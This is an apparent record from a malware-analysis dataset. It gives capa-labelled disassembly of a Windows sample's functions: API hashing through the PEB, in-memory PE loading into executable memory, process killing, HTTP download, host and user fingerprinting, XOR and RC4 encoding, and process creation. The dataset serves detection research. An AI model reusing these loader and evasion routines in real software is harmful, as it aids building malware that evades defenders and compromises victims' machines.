joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403e00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x10
push ebx
mov ebx, ecx
mov dword [esp + 4], edx
push ebp
push esi
push edi
mov eax, dword [ebx + 0x3c]
xor esi, esi
add eax, 0x78
add eax, ebx
mov dword [esp + 0x1c], eax
mov edi, dword [eax]
mov eax, dword [edi + ebx + 0x1c]
add edi, ebx
add eax, ebx
mov dword [esp + 0x18], eax
mov ebp, dword [edi + 0x20]
mov eax, dword [edi + 0x24]
add ebp, ebx
add eax, ebx
mov dword [esp + 0x14], eax
cmp dword [edi + 0x18], esi
jbe 0x403e5c
lea esp, [esp]
mov ecx, dword [ebp + esi*4]
add ecx, ebx
call fcn.00403bb0
xor eax, 0x973ea0
cmp eax, dword [esp + 0x10]
je 0x403e66
inc esi
cmp esi, dword [edi + 0x18]
jb 0x403e40
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
movzx eax, word [eax + esi*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
cmp ecx, edi
jb 0x403e94
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 4]
add eax, edi
cmp ecx, eax
jae 0x403e94
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
jmp 0x404010
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x10
ret
sub esp, 0x104
lea edx, [esp]
push esi
mov esi, ecx
push edi
mov al, byte [esi]
test al, al
je 0x404036
cmp al, 0x2e
je 0x404033
inc esi
mov byte [edx], al
inc edx
mov al, byte [esi]
test al, al
jne 0x404023
jmp 0x404036
mov byte [edx], 0
mov eax, dword [0x40e4a4]
test eax, eax
jne 0x40405a
mov ecx, 0xbf336bcc
call fcn.00403ea0
mov edx, 0xf7af8197
mov ecx, eax
call fcn.00403e00
mov dword [0x40e4a4], eax
lea ecx, [esp + 8]
push ecx
call eax
mov edi, eax
test edi, edi
jne 0x4040a1
mov eax, dword [0x40e00c]
test eax, eax
jne 0x40408b
mov ecx, 0xbf336bcc
call fcn.00403ea0
mov edx, 0xdfbc854c
mov ecx, eax
call fcn.00403e00
mov dword [0x40e00c], eax
lea ecx, [esp + 8]
push ecx
call eax
mov edi, eax
test edi, edi
jne 0x4040a1
pop edi
pop esi
add esp, 0x104
ret
lea ecx, [esi + 1]
call fcn.00403bb0
xor eax, 0x973ea0
mov ecx, edi
mov edx, eax
call fcn.00403e00
pop edi
pop esi
add esp, 0x104
ret
Function at 0x403ea0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
sub esp, 0x10
mov eax, dword fs:[0x30]
push ebx
push ebp
push esi
mov ebx, dword [eax + 0xc]
add ebx, 0xc
mov dword [esp + 0x18], ecx
push edi
mov dword [esp + 0x18], ebx
mov ebp, dword [ebx]
cmp ebp, ebx
je 0x403ff9
mov esi, dword [ebp + 0x30]
mov dword [esp + 0x10], 0xfca8
add dword [esp + 0x10], 0x7388
xor dword [esp + 0x10], 0xf85a93fe
add dword [esp + 0x10], 0x93fa
shr dword [esp + 0x10], 9
or dword [esp + 0x10], 0xbf302969
imul eax, dword [esp + 0x10], 0x45
mov dword [esp + 0x10], eax
mov eax, 0x22b63cbf
xor dword [esp + 0x10], 0x9c78cc27
mov dword [esp + 0x14], 0xd2a7
mov ecx, dword [esp + 0x14]
mul ecx
shr edx, 3
mov dword [esp + 0x14], edx
or dword [esp + 0x14], 0xfefddf7e
xor dword [esp + 0x14], 0xfefddff8
mov dword [esp + 0x14], 0x3c4
xor dword [esp + 0x14], 0x17e68ae3
xor dword [esp + 0x14], 0x17e68937
cmp word [esi], 0
je 0x403fdf
mov ebx, dword [esp + 0x10]
mov eax, 0x22b63cbf
mov dword [esp + 0x14], 0xd2a7
mov ecx, dword [esp + 0x14]
mul ecx
shr edx, 3
mov dword [esp + 0x14], edx
or dword [esp + 0x14], 0xfefddf7e
xor dword [esp + 0x14], 0xfefddff8
movzx ecx, byte [esp + 0x14]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x14], 0x3c4
xor dword [esp + 0x14], 0x17e68ae3
xor dword [esp + 0x14], 0x17e68937
shl edx, cl
movzx ecx, byte [esp + 0x14]
mov edi, dword [esp + 0x10]
movzx eax, word [esi]
shl edi, cl
cmp eax, 0x41
jb 0x403fbe
cmp eax, 0x5a
ja 0x403fbe
add eax, 0x20
mov dword [esp + 0x10], eax
add esi, 2
add dword [esp + 0x10], edx
add dword [esp + 0x10], edi
sub dword [esp + 0x10], ebx
cmp word [esi], 0
jne 0x403f52
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
xor eax, 0x304d8dbe
cmp eax, dword [esp + 0x1c]
je 0x404003
mov ebp, dword [ebp]
cmp ebp, ebx
jne 0x403ec5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x4042d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub esp, 0x14
push ebp
mov ebp, ecx
mov dword [esp + 0x10], ebp
push edi
cmp edx, 0x40
jb 0x40446e
mov eax, 0x5a4d
cmp word [ebp], ax
jne 0x40446e
mov edi, dword [ebp + 0x3c]
add edi, ebp
mov dword [esp + 0x18], edi
cmp dword [edi], 0x4550
jne 0x40446e
mov eax, 0x10b
cmp word [edi + 0x18], ax
jne 0x40446e
mov eax, dword [0x40df1c]
test eax, eax
jne 0x40433b
mov ecx, 0xbf336bcc
call fcn.00403ea0
mov edx, 0x394698ea
mov ecx, eax
call fcn.00403e00
mov dword [0x40df1c], eax
push ebx
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
call eax
mov ebx, eax
test ebx, ebx
je 0x404465
movzx ecx, word [edi + 0x14]
push esi
lea esi, [edi + 0x18]
add esi, ecx
movzx ecx, word [edi + 6]
mov dword [esp + 0x18], esi
lea ecx, [ecx + ecx*4]
lea eax, [esi + ecx*8]
mov dword [esp + 0x14], eax
mov eax, dword [edi + 0x54]
mov dword [esp + 0x10], eax
mov eax, dword [0x40e4b0]
test eax, eax
jne 0x40439b
mov ecx, 0xe263adaa
call fcn.00403ea0
mov edx, 0x3d2ae1d7
mov ecx, eax
call fcn.00403e00
mov dword [0x40e4b0], eax
push dword [esp + 0x10]
push ebp
push ebx
call eax
mov ecx, dword [esp + 0x20]
add esp, 0xc
cmp esi, ecx
jae 0x40441e
sub ecx, dword [esp + 0x18]
mov eax, 0xcccccccd
dec ecx
add esi, 0x10
mul ecx
mov ecx, edx
shr ecx, 5
inc ecx
mov edi, ecx
mov ebp, dword [esi]
cmp dword [esi - 8], ebp
mov eax, dword [esi + 4]
cmovb ebp, dword [esi - 8]
add eax, dword [esp + 0x1c]
mov dword [esp + 0x18], eax
mov eax, dword [esi - 4]
add eax, ebx
mov dword [esp + 0x14], eax
mov eax, dword [0x40e4b0]
test eax, eax
jne 0x404406
mov ecx, 0xe263adaa
call fcn.00403ea0
mov edx, 0x3d2ae1d7
mov ecx, eax
call fcn.00403e00
mov dword [0x40e4b0], eax
push ebp
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call eax
add esp, 0xc
add esi, 0x28
dec edi
jne 0x4043c5
mov edi, dword [esp + 0x20]
mov edx, edi
mov ecx, ebx
call fcn.004045a0
mov edx, edi
mov ecx, ebx
call fcn.004044b0
pop esi
test eax, eax
jne 0x404465
mov eax, dword [0x40e5f0]
test eax, eax
jne 0x404459
mov ecx, 0xbf336bcc
call fcn.00403ea0
mov edx, 0xfa65e1f7
mov ecx, eax
call fcn.00403e00
mov dword [0x40e5f0], eax
push 0x8000
push 0
push ebx
call eax
xor ebx, ebx
mov eax, ebx
pop ebx
pop edi
pop ebp
add esp, 0x14
ret
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
Function at 0x401330
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00420b70
lea eax, [ebp - 4]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
jne 0x40135f
mov eax, 1
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp - 4]
push edi
shr ebx, 2
xor edi, edi
test ebx, ebx
je 0x4013b5
push esi
nop
mov eax, dword [ebp + edi*4 - 0x1004]
test eax, eax
je 0x4013af
push eax
call fcn.004013c0
add esp, 4
cmp eax, 1
jne 0x4013af
push dword [ebp + edi*4 - 0x1004]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, ebx
jb 0x401370
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4056b0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 0x1d
push str.Mozilla_5.0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
call fcn.004032f0
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 0
cmovae eax, dword [ebp - 0x2c]
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edx, dword [ebp - 0x18]
mov ebx, eax
cmp edx, 8
jb 0x405733
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405729
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40584a
push edx
push ecx
call fcn.00420b5a
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
test ebx, ebx
je 0x40584f
push eax
push 0x84000100
push eax
push eax
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x405778
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.Couldnt_open_URL_
jmp 0x405854
lea eax, [ebp - 1]
mov dword [ebp - 0x14], 0
push eax
push 0x400
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call fcn.00405410
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x400
push dword [ebp - 0x14]
mov dword [edi], 0
push esi
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x405805
mov eax, dword [ebp - 8]
test eax, eax
je 0x405805
push dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
add eax, ecx
push eax
push ecx
push dword [edi + 4]
mov ecx, edi
call fcn.00405170
lea eax, [ebp - 8]
push eax
push 0x400
push dword [ebp - 0x14]
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4057d3
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x405841
mov edx, dword [ebp - 0xc]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x405837
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40587a
push edx
push ecx
call fcn.00420b5a
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00425032
push str.Couldnt_open_Internet_
lea ecx, [ebp - 0x44]
call fcn.00404740
mov ecx, eax
call fcn.004062b0
push eax
lea ecx, [ebp - 0x20]
call fcn.00405610
push 0x44d80c
lea eax, [ebp - 0x20]
push eax
call fcn.004219b0
call fcn.00425032
int3
Function at 0x4063a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
sub esp, 0x100
cmp dword [ecx + 0x14], 0x10
push esi
mov esi, dword [ebp + 8]
jb 0x4063b8
mov ecx, dword [ecx]
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
push edx
push 0x20019
push 0
push ecx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40640b
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], 0xff
cmp dword [eax + 0x14], 0x10
jb 0x4063e5
mov eax, dword [eax]
lea ecx, [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x100]
push ecx
push 0
push 0
push eax
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x10]
test eax, eax
je 0x406426
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esi], 0
mov eax, esi
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x100]
mov dword [esi], 0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406450
sub ecx, edx
lea eax, [ebp - 0x100]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40b7b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov eax, dword [ecx]
mov ebx, dword [ecx + 8]
mov edi, dword [ecx + 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], eax
mov eax, dword [ecx + 4]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], 0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x50], xmm0
movups xmm0, xmmword [ecx + 0x10]
movups xmmword [ebp - 0x40], xmm0
movups xmm0, xmmword [ecx + 0x20]
movups xmmword [ebp - 0x30], xmm0
movups xmm0, xmmword [ecx + 0x30]
movups xmmword [ebp - 0x20], xmm0
mov esi, eax
mov dword [ebp + 0xc], eax
mov ecx, ebx
not esi
and ecx, eax
and esi, edi
or esi, ecx
mov edx, edi
mov ecx, dword [ebp - 8]
mov edi, ebx
mov ebx, dword [ebp - 8]
mov ecx, dword [ecx + 0x43f910]
add ecx, dword [ebp + ebx - 0x50]
add ecx, esi
add ecx, dword [ebp - 4]
rol ecx, 7
add eax, ecx
mov dword [ebp - 4], edx
mov ecx, ebx
mov ebx, dword [ebp + 0xc]
add ecx, 4
mov dword [ebp - 8], ecx
cmp ecx, 0x40
jb 0x40b7f6
mov dword [ebp - 0xc], 0x43f950
mov dword [ebp - 8], 0x51
mov esi, edi
mov dword [ebp + 0xc], eax
not esi
mov ecx, edi
and ecx, eax
and esi, ebx
or esi, ecx
mov edx, edi
mov ecx, dword [ebp - 8]
mov edi, ebx
mov ebx, dword [ebp - 0xc]
and ecx, 0xf
add dword [ebp - 0xc], 4
mov ecx, dword [ebp + ecx*4 - 0x50]
add ecx, dword [ebx]
mov ebx, dword [ebp + 0xc]
add ecx, esi
add ecx, dword [ebp - 4]
rol ecx, 0xc
add eax, ecx
mov dword [ebp - 4], edx
mov ecx, dword [ebp - 8]
add ecx, 5
mov dword [ebp - 8], ecx
cmp ecx, 0xa1
jb 0x40b844
mov ecx, 0x65
mov dword [ebp - 0xc], 0x43f990
mov dword [ebp - 8], ecx
nop word [eax + eax]
and ecx, 0xf
mov dword [ebp + 0xc], eax
mov edx, edi
mov esi, edi
xor edx, ebx
mov edi, ebx
mov ebx, dword [ebp - 0xc]
xor edx, eax
mov ecx, dword [ebp + ecx*4 - 0x50]
add dword [ebp - 0xc], 4
add ecx, dword [ebx]
mov ebx, dword [ebp + 0xc]
add ecx, edx
add ecx, dword [ebp - 4]
ror ecx, 0xf
add eax, ecx
mov dword [ebp - 4], esi
mov ecx, dword [ebp - 8]
add ecx, 3
mov dword [ebp - 8], ecx
cmp ecx, 0x95
jb 0x40b8a0
mov ecx, 0x150
mov dword [ebp + 0xc], 0xc0
mov dword [ebp - 0xc], ecx
nop dword [eax]
add dword [ebp - 0xc], 7
and ecx, 0xf
mov edx, edi
mov dword [ebp - 8], edi
mov edi, dword [ebp + 0xc]
not edx
or edx, eax
mov dword [ebp - 4], ebx
mov ecx, dword [ebp + ecx*4 - 0x50]
xor edx, ebx
mov ebx, eax
add ecx, dword [edi + 0x43f910]
add ecx, edx
mov edx, dword [ebp - 8]
add ecx, esi
mov esi, edx
ror ecx, 0xa
add eax, ecx
mov ecx, edi
mov edi, dword [ebp - 4]
add ecx, 4
mov dword [ebp + 0xc], ecx
cmp ecx, 0x100
mov ecx, dword [ebp - 0xc]
jb 0x40b8f0
mov ecx, dword [ebp - 0x10]
add ecx, edx
mov edx, dword [ebp + 8]
add dword [edx + 8], ebx
add dword [edx + 4], eax
add dword [edx + 0xc], edi
pop edi
pop esi
mov dword [edx], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bbe0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push esi
push edi
mov edi, dword [ebp + 8]
cmp dword [edi + 0x14], 0x10
mov esi, dword [edi + 0x10]
jb 0x40bbfa
add esi, dword [edi]
mov edi, dword [edi]
jmp 0x40bbfc
add esi, edi
mov eax, esi
mov dword [ebp - 0x28], 0
sub eax, edi
mov dword [ebp - 0x18], 0
push eax
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
call fcn.00411c20
mov byte [ebp + 8], 0
lea ecx, [ebp - 0x28]
push dword [ebp + 8]
push esi
push edi
call fcn.00407590
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0x44
push ecx
push 0
push 0
push 0
push 0
xorps xmm0, xmm0
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push 0
push 0
push 0
push eax
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movups xmmword [ebp - 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40bca5
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor esi, esi
jmp 0x40bcaa
mov esi, 1
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40bce0
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40bcd6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bce8
push edx
push ecx
call fcn.00420b5a
add esp, 8
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00425032
int3
Function at 0x410200
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x410231
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x410220
pop edi
mov eax, edx
pop esi
pop ebp
ret 8

Function at 0x410ee0
Capabilities:
Encode data using xor
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x10
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x410f3c
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x18]
lea edx, [ecx + 1]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410f20
sub ecx, edx
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
cmp byte [0x43fb6b], 0
mov eax, dword [0x43fb68]
mov dword [ebp - 4], eax
je 0x411011
xor ecx, ecx
cmp dword [0x450534], 2
jl 0x410ff0
movaps xmm3, xmmword [0x43f550]
mov ecx, 5
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x4408c0]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x4408c0]
shufps xmm2, xmm0, 0xdd
movd xmm0, ecx
paddd xmm2, xmm3
psrad xmm2, xmm0
mov ecx, 0x1f
movaps xmm1, xmm2
movd xmm0, ecx
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.3333]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43f5d0]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.2222222222222222]
movd xmm0, eax
pxor xmm1, xmm0
movd dword [ebp - 4], xmm1
jmp 0x411011
mov eax, 0xa0a0a0a1
mul ecx
shr edx, 5
movsx eax, dl
mov dl, cl
imul eax, eax, 0x33
sub dl, al
add dl, 0x32
xor byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 4
jl 0x410ff0
mov esi, dword [ebp + 8]
lea ecx, [ebp - 4]
lea edx, [ecx + 1]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411030
sub ecx, edx
lea eax, [ebp - 4]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x411050
Capabilities:
Encode data using xor
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x41
push eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x4110ac
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x4c]
lea edx, [ecx + 1]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411090
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
cmp byte [0x43fb6f], 0
mov eax, dword [0x43fb6c]
mov dword [ebp - 4], eax
je 0x411181
xor ecx, ecx
cmp dword [0x450534], 2
jl 0x411160
movaps xmm3, xmmword [0x43f550]
mov ecx, 5
movaps xmm2, xmm3
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x4408c0]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x4408c0]
shufps xmm2, xmm0, 0xdd
movd xmm0, ecx
paddd xmm2, xmm3
psrad xmm2, xmm0
mov ecx, 0x1f
movaps xmm1, xmm2
movd xmm0, ecx
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.3333]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43f5d0]
packuswb xmm1, xmm1
paddb xmm1, xmmword [str.2222222222222222]
movd xmm0, eax
pxor xmm1, xmm0
movd dword [ebp - 4], xmm1
jmp 0x411181
mov eax, 0xa0a0a0a1
mul ecx
shr edx, 5
movsx eax, dl
mov dl, cl
imul eax, eax, 0x33
sub dl, al
add dl, 0x32
xor byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 4
jl 0x411160
mov esi, dword [ebp + 8]
lea ecx, [ebp - 4]
lea edx, [ecx + 1]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4111a0
sub ecx, edx
lea eax, [ebp - 4]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x411a70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x100
call fcn.00420b2a
push 0x100
mov esi, eax
push 0
push esi
mov dword [ebp - 0x10], esi
call fcn.00422430
push 0x100
call fcn.00420b2a
push 0x100
push 0
push eax
mov dword [ebp - 4], eax
call fcn.00422430
mov ebx, dword [ebp + 8]
mov eax, esi
mov edi, dword [ebp + 0xc]
add esp, 0x20
xor ecx, ecx
mov dword [ebx], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov ebx, dword [ebp - 4]
sub eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax + eax]
cmp dword [edi + 0x14], 0x10
mov dword [ebp - 8], edi
jb 0x411aee
mov eax, dword [edi]
mov dword [ebp - 8], eax
xor edx, edx
lea esi, [ebx + ecx]
mov eax, ecx
mov ebx, dword [ebp - 8]
div dword [edi + 0x10]
mov al, byte [edx + ebx]
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 4]
mov byte [edx + esi], al
mov byte [esi], cl
inc ecx
cmp ecx, 0x100
jl 0x411ae0
mov esi, ebx
mov dword [ebp - 8], 0x100
mov ebx, dword [ebp + 8]
xor edi, edi
mov eax, dword [ebp - 0xc]
mov dl, byte [esi]
movzx ecx, dl
movzx eax, byte [esi + eax]
add edi, eax
add edi, ecx
and edi, 0x800000ff
jns 0x411b40
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp - 4]
mov al, byte [ecx + edi]
mov byte [esi], al
inc esi
sub dword [ebp - 8], 1
mov byte [ecx + edi], dl
jne 0x411b20
mov edi, dword [ebp + 0x10]
mov ecx, ebx
push 0
push dword [edi + 0x10]
call fcn.00411d90
xor eax, eax
xor esi, esi
xor ecx, ecx
cmp dword [edi + 0x10], eax
mov edi, dword [ebp - 4]
jbe 0x411be8
nop
inc ecx
and ecx, 0x800000ff
jns 0x411b81
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 4], ecx
mov cl, byte [edi + ecx]
movzx edx, cl
add eax, edx
and eax, 0x800000ff
jns 0x411b9a
dec eax
or eax, 0xffffff00
inc eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov al, byte [edi + eax]
mov byte [edi + ebx], al
mov eax, dword [ebp - 0xc]
mov byte [edi + eax], cl
mov eax, ebx
mov ecx, dword [ebp + 0x10]
mov ebx, dword [ebp + 8]
movzx eax, byte [edi + eax]
add eax, edx
cmp dword [ecx + 0x14], 0x10
movzx eax, al
mov dl, byte [eax + edi]
mov eax, ecx
jb 0x411bca
mov eax, dword [ecx]
mov al, byte [eax + esi]
xor al, dl
cmp dword [ebx + 0x14], 0x10
mov edx, ebx
jb 0x411bd9
mov edx, dword [ebx]
mov byte [edx + esi], al
inc esi
cmp esi, dword [ecx + 0x10]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
jb 0x411b70
test edi, edi
je 0x411bfa
push 0x100
push edi
call fcn.00420b5a
add esp, 8
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x411c0f
push 0x100
push eax
call fcn.00420b5a
add esp, 8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x426b9c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x426bdb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x426bdb
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x426bdb
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x426bdb
cmp dword [ecx + 0x74], 0xe
jbe 0x426bdb
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x42dda1
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4448f8
push 0x4448f0
push str.FlsAlloc
push 0x1f
call fcn.0042dc0c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42ddd5
push dword [ebp + 8]
mov ecx, esi
call dword [0x43f1d0]
call esi
jmp 0x42dddb
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x42de1f
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x444908
push 0x444900
push str.FlsGetValue
push 0x21
call fcn.0042dc0c
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42de56
push dword [ebp + 8]
mov ecx, esi
call dword [0x43f1d0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
